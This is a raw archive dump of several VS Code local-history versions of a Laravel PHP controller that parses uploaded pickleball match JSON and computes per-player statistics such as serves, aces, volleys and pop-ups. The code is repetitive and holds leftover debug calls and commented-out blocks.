if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $player_id = $player; // $players->push($player); // } // // dd($players); // // Iterate through each player and calculate stats // foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ�-??� ?� History/-68b100b8/3n6Z.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); dd($data); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // Iterate through each player and calculate stats foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ�MD& & History/-68b100b8/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Http/Controllers/PlayerStateJsonController.php","entries":[{"id":"3n6Z.php","timestamp":1734098523207},{"id":"KpTz.php","timestamp":1734098602345},{"id":"fwxa.php","timestamp":1734099144947},{"id":"vrPi.php","timestamp":1734099332465},{"id":"cPXv.php","timestamp":1734099375229},{"id":"i5ke.php","timestamp":1734099476913},{"id":"xpzR.php","timestamp":1734099549837},{"id":"x6y1.php","timestamp":1735212894691}]}PK �6fZ�LW��� �� History/-68b100b8/vrPi.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' 